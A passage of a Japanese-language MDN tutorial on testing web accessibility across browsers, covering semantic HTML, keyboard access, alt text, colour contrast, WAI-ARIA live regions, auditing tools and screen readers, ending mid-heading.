+<p>とは言っても、この記事では、クロスブラウザーと障碍のある人々を取り巻く問題のテスト、そして彼らのウェブの使い方について説明します。 モジュール内の他の場所で、<a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS#Responsive_design_problems">レスポンシブデザイン</a>と<a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript#Performance_issues">パフォーマンス</a>のような他の分野についてはすでに説明しました。</p> + +<div class="note"> +<p><strong>注</strong>: ウェブ開発における多くのことと同様に、アクセシビリティは 100% 成功したかどうかではありません。 特にサイトが複雑になるにつれて、100% のアクセシビリティを全てのコンテンツに対して達成することはほとんど不可能です。 その代わりに、防御的なコーディングを介して、できるだけ多くの人があなたのコンテンツのできるだけ多くにアクセスできるようにし、ベストプラクティスに従うようにする努力をします。</p> +</div> + +<h2 id="Common_accessibility_issues" name="Common_accessibility_issues">よくあるアクセシビリティの問題</h2> + +<p>このセクションでは、従うべきベストプラクティスと共に、特定の技術と結びつけて、ウェブのアクセシビリティに関して生じる主な問題のいくつかと、サイトが正しい方向に進んでいるかどうかを確認するための簡単なテストについて、詳細を説明します。</p> + +<div class="note"> +<p><strong>注</strong>: アクセシビリティは道徳的に正しいことであり、ビジネスには適していますし（多くの障碍のあるユーザー、モバイルデバイスのユーザーなどが重要な市場セグメントを提示しています）、ウェブ資産を障碍のある人々がアクセスできないようにすることは、世界の多くの地域で法律にも違反しています。 詳しくは<a href="/ja/docs/Learn/Accessibility/What_is_accessibility#Accessibility_guidelines_and_the_law">アクセシビリティのガイドラインと法律</a>を読んでください。</p> +</div> + +<h3 id="HTML" name="HTML">HTML</h3> + +<p>意味論的 HTML（要素が正しい目的のために使用されているもの）は箱から出してすぐにアクセスできます — そのようなコンテンツは晴眼者でも読めますし（CSS を使用して、テキストを小さくしすぎたり、隠したりするような愚かなことはしないでください）、スクリーンリーダー（文字通りウェブページをユーザーに読み上げるアプリ）などの支援技術でも使用可能になり、他の利点も付与されます。</p> + +<h4 id="Semantic_structure" name="Semantic_structure">意味論的構造</h4> + +<p>意味論的 HTML で最も重要なすばやい勝利は、コンテンツに見出しと段落の構造を使用することです。 これは、スクリーンリーダーのユーザーが、必要なコンテンツをすばやく見つけるために文書の見出しを道標として使用する傾向があるためです。 あなたのコンテンツが見出しを持っていない場合、彼らが得るのは、何かを見つけるための道標のないテキストの巨大な壁だけです。 悪い HTML と良いHTML の例としては、</p> + +<pre class="brush: html example-bad"><font size="7">私の見出し</font> +<br><br> +これが私の文書の最初のセクションです。 +<br><br> +ここにも段落を追加します。 +<br><br> +<font size="5">私の副見出し</font> +<br><br> +これが私の文書の最初のサブセクションです。 私は人々がこのコンテンツを見つけることができるようにしたいです！ +<br><br> +<font size="5">私の2番目の副見出し</font> +<br><br> +これは私のコンテンツの2番目のサブセクションです。 私は最後のものよりも面白いと思います。</pre> + +<pre class="brush: html example-good"><h1>私の見出し</h1> + +<p>これが私の文書の最初のセクションです。</p> + +<p>ここにも段落を追加します。</p> + +<h2>私の副見出し</h2> + +<p>これが私の文書の最初のサブセクションです。 私は人々がこのコンテンツを見つけることができるようにしたいです！</p> + +<h2>私の2番目の副見出し</h2> + +<p>これは私のコンテンツの2番目のサブセクションです。 私は最後のものよりも面白いと思います。</p></pre> + +<p>さらに、あなたのコンテンツはそのソース順で論理的に意味があるべきです — あなたは後で CSS を使い、いつでもそれを望んだ所に置くことができますが、最初から正しいソース順を手にするべきです。</p> + +<p>テストとして、あなたはサイトの CSS をオフにして、CSS がなければそれがどれほど理解できるか見ることができます。 コードから CSS を取り除くだけでこれを手動で行うことができますが、最も簡単な方法はブラウザー機能を使用することです。 例えば、</p> + +<ul> + <li>Firefox: メニューバーから [表示] > [スタイルシート] > [スタイルシートを使用しない] を選択します。</li> + <li>Safari: メインメニューから [開発] > [スタイルを無効にする] を選択します（[開発] メニューを有効にするには、[Safari] > [環境設定] > [詳細] > [メニューバーに開発メニューを表示] を選択）。</li> + <li>Chrome: Web Developer Toolbar 拡張機能をインストールしてから、ブラウザーを再起動します。 表示される歯車のアイコンをクリックしてから、[CSS] > [全てのスタイルを無効にする] を選択します。</li> + <li>Edge: メインメニューから [表示] > [スタイル] > [スタイルなし] を選択します。</li> +</ul> + +<h4 id="Using_native_keyboard_accessibility" name="Using_native_keyboard_accessibility">ネイティブなキーボード・アクセシビリティを使う</h4> + +<p>特定の HTML 機能はキーボードのみを使用して選択できます — これはデフォルトの動作で、ウェブの初期の頃から使用可能です。 この機能を持つ要素は、ユーザーがウェブページと対話することを可能にする一般的なもの、すなわちリンク、{{htmlelement("button")}}、そして {{htmlelement("input")}} のようなフォーム要素です。</p> + +<p><a href="http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/accessibility/native-keyboard-accessibility.html">native-keyboard-accessibility.html</a> の例を使ってこれを試すことができます（<a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/accessibility/native-keyboard-accessibility.html">ソースコード</a>を見る） — これを新しいタブで開いて、そして <kbd>Tab</kbd> キーを押してみてください。 数回押すと、タブフォーカスがさまざまなフォーカス可能な要素を通過し始めます。 どの要素がフォーカスされているかわかるように、フォーカスされた要素には全てのブラウザーでハイライトされたデフォルトのスタイルが与えられます（ブラウザーによって若干異なります）。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14215/button-focused-unfocused.png" style="border-style: solid; border-width: 1px; display: block; height: 39px; margin: 0px auto; width: 288px;"></p> + +<p>次に <kbd>Enter</kbd> / <kbd>Return</kbd> を押してフォーカスのあるリンクをたどるか、ボタンを押すか（ボタンにメッセージを知らせるための JavaScript が含まれています）、テキスト入力にテキストを入力するためにタイプし始めることができます（他のフォーム要素には異なるコントロールがあります。 例えば、{{htmlelement("select")}} 要素では、<kbd>上下の矢印</kbd>キーを使用してそのオプションを表示したり切り替えたりできます）。</p> + +<p>ブラウザーが異なれば、使用可能なキーボードコントロールオプションも異なることに注意してください。 最近のほとんどのブラウザーは上記のタブパターンに従いますが（フォーカス可能な要素を逆方向に移動するために <kbd>Shift</kbd> + <kbd>Tab</kbd> を押すこともできます）、次のようにブラウザーによっては独自の特徴があります。</p> + +<ul> + <li>Mac 用の Firefox はデフォルトではタブ移動を行いません。 オンにするには、 [環境設定] > [詳細] > [一般] の順に選択してから、[常にページ内を移動するにはカーソルキーを使用する] のチェックを外します。 次に、Mac のシステム環境設定アプリを開き、[キーボード] > [ショートカット] の順に選択して、[全てのコントロール] ラジオボタンを選択します。</li> + <li>Safari では、デフォルトではリンクをタブ操作することはできません。 これを有効にするには、Safari の [環境設定] を開き、[詳細] に移動し、[Tab キーを押してウェブページの各項目をハイライトする] チェックボックスをオンにする必要があります。</li> +</ul> + +<div class="warning"> +<p><strong>重要</strong>: あなたが書く新しいページのどれでも、この種のテストを実行するべきです — 機能がキーボードによってアクセスできることを確認してください。</p> +</div> + +<p>この例では、正しい仕事に正しい意味論的要素を使用することの重要性を強調しています。 任意の要素を、CSS でリンクやボタンのように見せたり、JavaScript でリンクやボタンのように振る舞うようにスタイルすることは可能ですが、実際にはリンクやボタンにはならず、あなたはこれらの要素が無料で与えるアクセシビリティの多くを失うでしょう。 あなたがそれを避けることができるならばしないでください。</p> + +<p>もう1つのヒント — 次の例に示すように、{{cssxref(":focus")}} 疑似クラスを使用して、フォーカス可能要素のフォーカス時の外観をコントロールできます。 フォーカスとホバーのスタイルを倍増するのは良い考えです。 それにより、マウスやキーボードを使用しているかどうかに関わらず、ユーザーがコントロールをアクティブにしたときに何かが行われるという視覚的な手がかりを得ることができます。</p> + +<pre class="brush: css">a:hover, input:hover, button:hover, select:hover, +a:focus, input:focus, button:focus, select:focus { + font-weight: bold; +}</pre> + +<div class="note"> +<p><strong>注</strong>: CSS を使用してデフォルトのフォーカススタイルを取り除く場合は、デザインに適した他のスタイルに置き換えてください — これは非常に有用なアクセシビリティツールであり、取り除くべきではありません。</p> +</div> + +<h4 id="Building_in_keyboard_accessibility" name="Building_in_keyboard_accessibility">キーボード・アクセシビリティを組み込む</h4> + +<p>時にはキーボード・アクセシビリティを失うことが避けられないこともあります。 意味論的にあまり良くないサイトを継承したかもしれませんし（<code><div></code> で作られたボタンを生成する恐ろしい {{glossary("CMS")}} に行き着くかもしれません）、HTML5 の {{htmlelement("video")}} 要素のようにキーボード・アクセシビリティが組み込まれていない複雑なコントロールを使用しているかもしれません（驚くべきことに、Opera は <code><video></code> 要素のデフォルトのブラウザーコントロールをタブ操作できる唯一のブラウザーです）。 次のようないくつかの選択肢があります。</p> + +<ol> + <li><code><button></code> 要素（デフォルトでタブ移動可能）と JavaScript を使用してカスタムコントロールを作成し、それらの機能を関連付けます。 これについての良い例は、<a href="/ja/docs/Web/Apps/Fundamentals/Audio_and_video_delivery/cross_browser_video_player">クロスブラウザーのビデオプレーヤーの作成</a>を参照してください。</li> + <li>JavaScript でキーボードショートカットを作成すると、キーボードの特定のキーを押すことで機能をアクティブにできます。 あらゆる目的に適応できるゲーム関連の例については、<a href="/ja/docs/Games/Techniques/Control_mechanisms/Desktop_with_mouse_and_keyboard">デスクトップのマウスとキーボードのコントロール</a>を参照してください。</li> + <li>偽のボタンの振る舞いのために、いくつかの興味深い戦術を使ってください。 例えば、<a href="http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/accessibility/fake-div-buttons.html">fake-div-buttons.html</a> の例を見てください（<a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/accessibility/fake-div-buttons.html">ソースコード</a>を見る）。 ここでは、それぞれの属性に <code>tabindex="0"</code> という属性を与えることで（もっと有用な詳細については WebAIM の <a href="http://webaim.org/techniques/keyboard/tabindex">tabindex の記事</a>（英語）を見てください）、偽の <code><div></code> ボタンにフォーカスできるようにしました（タブを介すことも含む）。 これにより、ボタンにタブ移動することはできますが、<kbd>Enter</kbd> / <kbd>Return</kbd> キーでそれらをアクティブにすることはできません。 そのためには、次のちょっとした JavaScript トリックを追加する必要があります。 + <pre class="brush: js">document.onkeydown = function(e) { + if(e.keyCode === 13) { // The Enter/Return key + document.activeElement.onclick(e); + } +};</pre> + ここでは、<code>document</code> オブジェクトにリスナーを追加して、キーボードのボタンが押されたことを検出します。 イベントオブジェクトの <code><a href="/ja/docs/Web/API/KeyboardEvent/keyCode">keyCode</a></code> プロパティを使ってどのボタンが押されたかをチェックし、<kbd>Return</kbd> / <kbd>Enter</kbd> と一致するキーコードであれば、<code>document.activeElement.onclick()</code> を使用してボタンの <code>onclick</code> ハンドラに格納されている関数を実行します。 <code><a href="/ja/docs/Web/API/Document/activeElement">activeElement</a></code> は現在ページにフォーカスしている要素を与えます。</li> +</ol> + +<div class="note"> +<p><strong>注</strong>: この手法は、イベントハンドラ・プロパティ（<code>onclick</code> など）を使ってオリジナルのイベントハンドラを設定した場合にのみ機能します。 <code>addEventListener</code> は機能しません。 これは、機能を再構築するための非常に面倒な作業です。 それに他にも問題があるはずです。 そもそも正しい要素を正しい仕事に使うほうがよいでしょう。</p> +</div> + +<h4 id="Text_alternatives" name="Text_alternatives">代替テキスト</h4> + +<p>代替テキストは、アクセシビリティにとって非常に重要です — ある人が視覚障碍または聴覚障碍を抱えているためにコンテンツを見たり聞いたりすることができなくなると、これが問題になります。 最も単純な代替テキストは、控え目な {{htmlattrxref("alt","img")}} 属性で、関連するコンテンツを含む全ての画像に含めるべきです。 これはスクリーンリーダーが拾ってユーザーに読み上げるために、ページ上にその意味と内容をうまく伝える画像の説明を含むべきです。</p> + +<div class="note"> +<p><strong>注</strong>: 詳しくは、<a href="/ja/docs/Learn/Accessibility/HTML#Text_alternatives">代替テキスト</a>をお読みください。</p> +</div> + +<p>欠落している代替テキストは、アクセシビリティ{{anch("Auditing tools","監査ツール")}}を使用するなど、さまざまな方法でテストできます。</p> + +<p>代替テキストは、動画と音声のコンテンツにとってはもう少し複雑です。 テキストトラック（字幕など）を定義し、動画の再生時にそれらを {{htmlelement("track")}} 要素と <a href="/ja/docs/Web/API/Web_Video_Text_Tracks_Format">WebVTT</a> 形式の形式で表示する方法があります（詳細なチュートリアルについては、<a href="/ja/docs/Web/Apps/Build/Manipulating_media/Adding_captions_and_subtitles_to_HTML5_video">HTML5 の動画へのキャプションと字幕の追加</a>を参照してください）。 これらの機能に対する<a href="/ja/Apps/Fundamentals/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video#Browser_Compatibility">ブラウザーの互換性</a>はかなり良いのですが、音声用の代替テキストを提供したり、古いブラウザーをサポートしたりする場合は、ページのどこかや別のページに提示した単純なテキストトランスクリプトをお勧めします。</p> + +<h4 id="Element_relationships_and_context" name="Element_relationships_and_context">要素の関係とコンテキスト</h4> + +<p>HTML には、他に存在しない要素間のコンテキストと関係を提供するように設計された特定の機能とベストプラクティスがあります。 最も一般的な3つの例は、リンク、フォームラベル、およびデータ表です。</p> + +<p>アクセス可能なリンクテキストの鍵は、スクリーンリーダーを使用している人々が、ページ上の全てのリンクのリストを引き出すという共通の機能を使用することが多いということです。 この場合、リンクテキストはコンテキスト外で意味を成す必要があります。 例えば、「ここをクリック」、「ここをクリック」などのラベルが付いたリンクのリストは、アクセシビリティにとって本当に悪いものです。 リンクテキストはコンテキスト内でもコンテキスト外でも意味を成すのが得策です。</p> + +<p>次に、フォームの {{htmlelement("label")}} 要素は、フォームをアクセス可能にすることを可能にする中心的な機能の1つです。 フォームの悩みは、各フォーム入力にどのデータを入力するべきかを示すためにラベルが必要なことです。 各ラベルを {{htmlelement("label")}} 内に含めて相方のフォーム入力に明確にリンクする必要があり（各 <code><label></code> の <code>for</code> 属性値はフォーム要素の <code>id</code> 値と一致する必要があります）、ソース順が完全に論理的ではなくても（これは公平であるべきです）、それは意味があります。</p> + +<div class="note"> +<p><strong>注</strong>：リンクテキストとフォームラベルの詳細については、<a href="/ja/docs/Learn/Accessibility/HTML#Meaningful_text_labels">わかりやすいテキストラベル</a>を参照してください。</p> +</div> + +<p>最後に、データ表について簡単に説明します。 基本的なデータ表は非常に簡単なマークアップで書くことができますが（bad-table.html の<a href="http://mdn.github.io/learning-area/accessibility/html/bad-table.html">ライブ</a>と<a href="https://github.com/mdn/learning-area/blob/master/accessibility/html/bad-table.html">ソース</a>を見る）、問題があります — スクリーンリーダーのユーザーがデータのグループとして行や列を関連付ける方法はありません — これを行うには、ヘッダー行がどれであるか、そしてそれらが行、列などを見出ししているかどうかを知る必要があります。 これはそのような表に対しては視覚的にしかできません。</p> + +<p>代わりに punk-bands-complete.html の例（<a href="https://mdn.github.io/learning-area/css/styling-boxes/styling-tables/punk-bands-complete.html">ライブ</a>、<a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/styling-tables/punk-bands-complete.html">ソース</a>）を見ると、表のヘッダー（{{htmlelement("th")}} と <code>scope</code> 属性）、{{htmlelement("caption")}} 要素など、いくつかのアクセシビリティ補助機能が働いていることがわかります。</p> + +<div class="note"> +<p><strong>注</strong>: アクセス可能な表の詳細については、<a href="/ja/docs/Learn/Accessibility/HTML#Accessible_data_tables">アクセス可能なデータ表</a>を参照してください。</p> +</div> + +<h3 id="CSS" name="CSS">CSS</h3> + +<p>CSS は HTML よりもはるかに少ない基本的なアクセシビリティ機能を提供する傾向がありますが、それでも誤って使用された場合、それはアクセシビリティにちょうど同じくらい多くの損害を与えることができます。 CSS に関するアクセシビリティのヒントをいくつかすでに説明しました。</p> + +<ul> + <li>HTML においてさまざまなコンテンツをマークアップするには、正しい意味論的要素を使用してください。 別の視覚効果を作成したい場合は、CSS を使用します — 必要な外観を得るために HTML 要素を悪用しないでください。 例えば、もっと大きなテキストが必要な場合は、{{htmlelement("h1")}} 要素ではなく {{cssxref("font-size")}} を使用してください。</li> + <li>ソース順が CSS なしで意味を成すことを確認してください。 常に CSS を使用することで後で好きなようにページをスタイルできます。</li> + <li>ユーザーに機能に関する視覚的な手がかりを与えるため、ボタンやリンクのようなインタラクティブな要素に適切なフォーカス/ホバー/アクティブ状態が設定されていることを確認するべきです。 スタイル上の理由でデフォルトを取り除いた場合は、代替スタイルが含まれていることを確認してください。</li> +</ul> + +<p>考慮すべき点が他にもいくつかあります。</p> + +<h4 id="Color_and_color_contrast" name="Color_and_color_contrast">色とカラーコントラスト</h4> + +<p>ウェブサイトの配色を選択するときは、テキスト（前景）のカラーコントラストが背景色とよく合うことを確認するべきです。 あなたのデザインはかっこいいかもしれませんが、色覚異常のような視覚障碍を持つ人々がコンテンツを読むことができないならば、それは良くありません。 配色に十分なコントラストがあるかどうかチェックするために WebAIM の<a href="http://webaim.org/resources/contrastchecker/">カラーコントラストチェッカー</a>（英語）のようなツールを使ってください。</p> + +<p>もう1つのヒントは、道標や情報を色だけに頼らないようにすることです。 これは、色が見えない人には良くないでしょう。 例えば、必須のフォームフィールドを赤でマークする代わりに、赤いアスタリスクでマークします。</p> + +<div class="note"> +<p><strong>注</strong>: コントラスト比が高いと、光沢のある画面を備えたスマートフォンやタブレットを使用している人は誰でも、日光のような明るい環境にいるときにページを読みやすくなります。</p> +</div> + +<h4 id="Hiding_content" name="Hiding_content">コンテンツを隠す</h4> + +<p>ビジュアルデザインでは、全てのコンテンツを一度に表示する必要がない多くの実例があります。 例えば、<a href="http://mdn.github.io/learning-area/css/css-layout/practical-positioning-examples/info-box.html">タブ付き情報ボックスの例</a>（<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/practical-positioning-examples/info-box.html">ソースコード</a>を見る）には3つの情報パネルがありますが、それらを重ねて<a href="/ja/docs/Learn/CSS/CSS_layout/Positioning">配置</a>し、それぞれを表示するためにクリックできるタブを提供しています（キーボードからもアクセス可能です — 代わりに <kbd>Tab</kbd> と <kbd>Enter</kbd> / <kbd>Return</kbd> を使って選択することもできます）。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/16918/20191022144107.png" style="display: block; height: 1131px; margin: 0px auto; max-width: 450px; width: 1272px;"></p> + +<p>スクリーンリーダーのユーザーは、このことを気にしません — コンテンツのソース順が意味を成す限り幸せで、全てに到達できます。 絶対配置（この例で使用されているような）は一般に視覚効果のためにコンテンツを隠す最も良いメカニズムの1つとして見られます、なぜならそれはスクリーンリーダーがそれに到達するのを止めないからです。</p> + +<p>一方で、スクリーンリーダーからコンテンツを隠すので、{{cssxref("visibility")}}<code>:hidden</code> や {{cssxref("display")}}<code>:none</code> は使用しないでください。 正当な理由があるのでなければ、なぜこのコンテンツをスクリーンリーダーから隠したいのでしょうか。</p> + +<div class="note"> +<p><strong>注</strong>: <a href="http://webaim.org/techniques/css/invisiblecontent/">スクリーンリーダーのユーザーには見えないコンテンツ</a>（英語）には、このトピックに関するもっと有用な詳細があります。</p> +</div> + +<h3 id="JavaScript" name="JavaScript">JavaScript</h3> + +<p>JavaScript はアクセシビリティに関して CSS と同じ種類の問題を抱えています — それが悪用されたり、乱用されたりするとアクセシビリティの災害になる可能性があります。 JavaScript に関連するアクセシビリティの問題、主に意味論的 HTML の分野についてはすでに示唆しています — 例えば、リンクやボタンを適切に使用するなど、適切な意味論的 HTML を使用して機能を実装するべきです。 可能であれば、JavaScript コードで <code><div></code> 要素を使用して機能を偽造しないでください — エラーが発生しやすく、HTML の無料機能を使用するよりも手間がかかります。</p> + +<h4 id="Simple_functionality" name="Simple_functionality">単純な機能</h4> + +<p>一般的に単純な機能は HTML だけで適切に機能するはずです — JavaScript は機能を強化するためにのみ使用されるべきであり、完全には組み込みません。 JavaScript の良い使い方には次のものが含まれます。</p> + +<ul> + <li>クライアント側のフォーム検証を提供します。 これは、サーバーがデータをチェックするのを待たずに、フォームエントリに関する問題をユーザーにすばやく知らせるものです。 利用できない場合でもフォームは機能しますが、検証が遅くなる可能性があります。</li> + <li>キーボードのみのユーザーがアクセスできる HTML5 の <code><video></code> のカスタムコントロールを提供します（前述したように、デフォルトのブラウザーコントロールはほとんどのブラウザーでキーボードからアクセスできません）。</li> +</ul> + +<div class="note"> +<p><strong>注</strong>: WebAIM の<a href="http://webaim.org/techniques/javascript/">アクセス可能な JavaScript</a>（英語）は、アクセス可能な JavaScript の考慮事項に関する有用な詳細をいくつか提供します。</p> +</div> + +<p>より複雑な JavaScript による実装はアクセシビリティに問題をもたらす可能性があります — できる限りのことをする必要があります。 例えば、<a href="/ja/docs/Web/API/WebGL_API/Tutorial">WebGL</a> を 100% を使用して書かれた複雑な 3D ゲームを視覚障碍者が利用できるようにすることは期待できませんが、マウス以外のユーザーが使用できるように<a href="/ja/docs/Games/Techniques/Control_mechanisms/Desktop_with_mouse_and_keyboard">キーボードコントロール</a>を実装し、色覚異常のある人にも使えるように配色に十分なコントラストがあるようにすることができます。</p> + +<h4 id="Complex_functionality" name="Complex_functionality">複雑な機能</h4> + +<p>アクセシビリティにとって問題となる主な分野の1つは、（日付の選択のような）複雑なフォームコントロールを含む複雑なアプリと、頻繁に増分的に更新される動的コンテンツです。</p> + +<p>ネイティブではない複雑なフォームコントロールは、ネストされた <code><div></code> が多数含まれる傾向があり、ブラウザーがデフォルトでそれらをどう処理するかわからないため、問題があります。 自分でそれらを考案しているのなら、それらがキーボードからアクセスできることを確認する必要があります。 何らかのサードパーティ製フレームワークを使用している場合は、利用可能なオプションを慎重に検討して、飛びつく前にそれらがどれほどアクセス可能かを確認してください。 <a href="http://getbootstrap.com/">Bootstrap</a> は、アクセシビリティにはかなり適しているように見えます。 例えば、Rhiana Heath による <a href="https://www.sitepoint.com/making-bootstrap-accessible/">Bootstrap をもう少しアクセス可能にする</a>（英語）では、その問題のいくつかを調べ（主にカラーコントラストに関連した）、いくつかの解決策を検討しています。</p> + +<p>定期的に更新される動的コンテンツは、スクリーンリーダーのユーザーがそれを見逃す可能性があるため、特に突然更新される場合は問題になる可能性があります。 <a href="/ja/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a> または <a href="/ja/docs/Web/API/Fetch_API">Fetch</a> を使用して定期的に更新されるメインコンテンツパネルを備えた単一ページのアプリがある場合、スクリーンリーダーのユーザーはそれらの更新を見逃す可能性があります。</p> + +<h4 id="WAI-ARIA" name="WAI-ARIA">WAI-ARIA</h4> + +<p>そのような複雑な機能を使用する必要がありますか、それともごく普通の意味論的 HTML が代わりにやりますか？ 複雑なものが必要な場合は、<a href="https://www.w3.org/TR/wai-aria-1.1/">WAI-ARIA</a>（Accessible Rich Internet Applications）を使用することを検討するべきです。 これは、ほとんどのブラウザーやスクリーンリーダーが理解できる複雑なフォームコントロールや更新パネルのような項目に（新しい HTML 属性の形式で）意味論を提供する仕様です。</p> + +<p>複雑なフォームウィジェットを扱うには、さまざまな要素がウィジェット内でどのような役割を担っているか（例えば、タブなのか、タブパネルなのか）を示す <code>role</code>、コントロールが無効かどうかを示す <code>aria-disabled</code> などの ARIA 属性を使う必要があります。</p> + +<p>定期的に更新されるコンテンツのリージョンを扱うには、更新されるリージョンを識別する <code>aria-live</code> 属性を使用できます。 その値は、次のようにスクリーンリーダーがどれほど緊急にそれを読み上げるべきかを示します。</p> + +<ul> + <li><code>off</code>: デフォルト。 更新はアナウンスされるべきではありません。</li> + <li><code>polite</code>: 更新はユーザーがアイドル状態の場合にのみアナウンスされるべきです。</li> + <li><code>assertive</code>: 更新はできるだけ早くユーザーにアナウンスされるべきです。</li> + <li><code>rude</code>: ユーザーに割り込んだとしても、更新はすぐにアナウンスされるべきです。</li> +</ul> + +<p>これが一例です。</p> + +<pre class="brush: html"><p><span id="LiveRegion1" aria-live="polite" aria-atomic="false"></span></p></pre> + +<p>Freedom Scientific の <a href="http://www.freedomscientific.com/Training/Surfs-up/AriaLiveRegions.htm">ARIA（Accessible Rich Internet Applications）のライブリージョン</a>（英語）の例で実行中の例を見ることができます — 強調表示された段落はその内容を10秒ごとに更新し、スクリーンリーダーはユーザーにこれを読み上げるべきです。<a href="http://www.freedomscientific.com/Training/Surfs-up/AriaLiveRegionsAtomic.htm"> ARIA のライブリージョン - Atomic</a>（英語）は別の有用な例を提供しています。</p> + +<p>ここでは WAI-ARIA を詳細にカバーするためのスペースはありません。 <a href="/ja/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA の基本</a>でもっと詳しく学ぶことができます。</p> + +<h2 id="Accessibility_tools" name="Accessibility_tools">アクセシビリティツール</h2> + +<p>今まで（キーボードナビゲーションやカラーコントラストチェッカーのような）いくつかのテストのテクニックを含め、さまざまなウェブ技術に対するアクセシビリティの考慮事項について説明してきました。 次に、アクセシビリティのテストを実行するときに使用できる他のツールを見てみましょう。</p> + +<h3 id="Auditing_tools" name="Auditing_tools">監査ツール</h3> + +<p>あなたのウェブページを指さすことができる利用可能な監査ツールがいくつかあります。 それらはページを見て、ページに存在するアクセシビリティ問題のリストを返すでしょう。 例えば次のものが含まれます。</p> + +<ul> + <li><a href="https://tenon.io">Tenon</a>: 提供された URL でコードを調べて、メトリクス、WCAG 基準が影響を及ぼす WCAG 基準に沿った特定のエラー、および修正案を含むアクセシビリティエラーに関する結果を返す、かなりいいオンラインアプリです。</li> + <li><a href="http://khan.github.io/tota11y/">tota11y</a>: Khan Academy のアクセシビリティツールで、JavaScript ライブラリの形式を取り、ページに添付するいくつかのアクセシビリティツールを提供します。</li> + <li><a href="http://wave.webaim.org/">Wave</a>: ウェブアドレスを受け入れて、そのページの有用な注釈付きビューを強調表示したアクセシビリティの問題とともに返すオンラインのアクセシビリティテストツールです。</li> +</ul> + +<p>Tenon を使って例を見てみましょう。</p> + +<ol> + <li><a href="https://tenon.io">Tenon のホームページ</a>（英語）に行きます。</li> + <li><a href="http://mdn.github.io/learning-area/accessibility/html/bad-semantics.html">bad-semantics.html</a> の例の URL（または分析したい別のウェブページの URL）をページ上部のテキスト入力に入力して [Analyze Your Webpage] を押します。</li> + <li>次に示すように、error/description のセクションが見つかるまで下にスクロールします。</li> +</ol> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14217/tenon-screenshot.png" style="border-style: solid; border-width: 1px; display: block; height: 593px; margin: 0px auto; width: 870px;"></p> + +<p>また、Tenon をプログラム的に使用するための API と同様に、探索できるいくつかのオプション（ページ上部の近くにある [Show Options] リンクを参照）もあります。</p> + +<div class="note"> +<p><strong>注</strong>: このようなツールは、アクセシビリティの問題を全て自分で解決するのに十分ではありません。 全体像を把握するには、これらの組み合わせ、知識と経験、ユーザーテストなどが必要です。</p> +</div> + +<h3 id="Automation_tools" name="Automation_tools">自動化ツール</h3> + +<p><a href="https://www.deque.com/products/axe/">Deque の aXe ツール</a>（英語）は、前述した監査ツールよりも少しばかり進化しています。 他のものと同様に、ページをチェックしてアクセシビリティエラーを返します。 その最もすぐに役立つ形式は、おそらく次のブラウザー拡張機能です。</p> + +<ul> + <li><a href="http://bitly.com/aXe-Chrome">Chrome 用の aXe</a>（英語）</li> + <li><a href="http://bit.ly/aXe-Firefox">Firefox 用の aXe</a>（英語）</li> +</ul> + +<p>これらはブラウザー開発者ツールにアクセシビリティタブを追加します。 例えば、Firefox 用のバージョンをインストールし、それを使用して <a href="http://mdn.github.io/learning-area/accessibility/html/bad-table.html">bad-table.html</a> の例を監査すると、次の結果が得られます。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14213/aXe-screenshot.png" style="display: block; height: 580px; margin: 0px auto; width: 800px;"></p> + +<p>aXe は <code>npm</code> を使ってもインストール可能で、<a href="http://gruntjs.com/">Grunt</a> や <a href="http://gulpjs.com/">Gulp</a> のようなタスクランナー、<a href="http://www.seleniumhq.org/">Selenium</a> や <a href="https://cucumber.io/">Cucumber</a> のような自動化フレームワーク、<a href="http://jasmine.github.io/">Jasmin</a> のような単体テストフレームワークなどと統合することができます（やはり、詳細については<a href="https://www.deque.com/products/axe/">メインの aXe ページ</a>（英語）を参照してください）。</p> + +<h3 id="Screenreaders" name="Screenreaders">スクリーンリーダー</h3> + +<p>重度の視覚障碍者がウェブをどのように使用しているかに慣れるには、スクリーンリーダーを使ってテストする価値があります。 次のように利用可能なスクリーンリーダーは多数あります。</p> + +<ul> + <li><a href="http://www.freedomscientific.com/Products/Blindness/JAWS">JAWS</a>（Windows）や <a href="http://www.gwmicro.com/window-eyes/">Window Eyes</a>（Windows、販売終了）のような有料製品もあります。</li> + <li><a href="http://www.nvaccess.org/">NVDA</a>（Windows）、<a href="http://www.chromevox.com/">ChromeVox</a>（Chrome、Windows、Mac OS X）、<a href="https://wiki.gnome.org/Projects/Orca">Orca</a>（Linux）などの無料製品もあります。</li> + <li><a href="http://www.apple.com/accessibility/osx/voiceover/">VoiceOver</a>（Mac OS X、iOS）、<a href="http://www.chromevox.com/">ChromeVox</a>（Chromebook 上）、および <a href="https://play.google.com/store/apps/details?id=com.google.android.marvin.talkback">TalkBack</a> （Android）など、一部はオペレーティングシステムに組み込まれています。</li> +</ul> + +<p>一般的に、スクリーンリーダーはホストオペレーティングシステム上で動作する独立したアプリで、ウェブページだけでなく他のアプリのテキストも読むことができます。 これは必ずしもそうとは限りませんが（ChromeVox はブラウザーの拡張機能です）、通常はそうです。 スクリーンリーダーは少し異なる方法で動作し、異なるコントロールを持つ傾向があるので、全ての詳細を得るためにはあなたが選んだスクリーンリーダーのドキュメントを参照しなければなりません — と言っても、それらは全て基本的に同じような方法で機能します。</p> + +<p>いくつかの異なるスクリーンリーダーを使っていくつかのテストを行い、それらがどのように機能するのか、またどのようにテストするのかについての一般的な考えを説明しましょう。</p> + +<div class="note"> +<p><strong>注</strong>: WebAIM の<a href="http://webaim.org/techniques/screenreader/">スクリーンリーダーの互換性のための設計</a>（英語）では、スクリーンリーダーの使用方法とスクリーンリーダーに最適な機能についての役立つ情報が提供されています。 いくつかの興味深いスクリーンリーダーの使用統計については、<a href="http://webaim.org/projects/screenreadersurvey6/#used">第6回スクリーンリーダーのユーザー調査の結果</a>（英語）も参照してください。</p> +</div> + +<h4 id="VoiceOver" 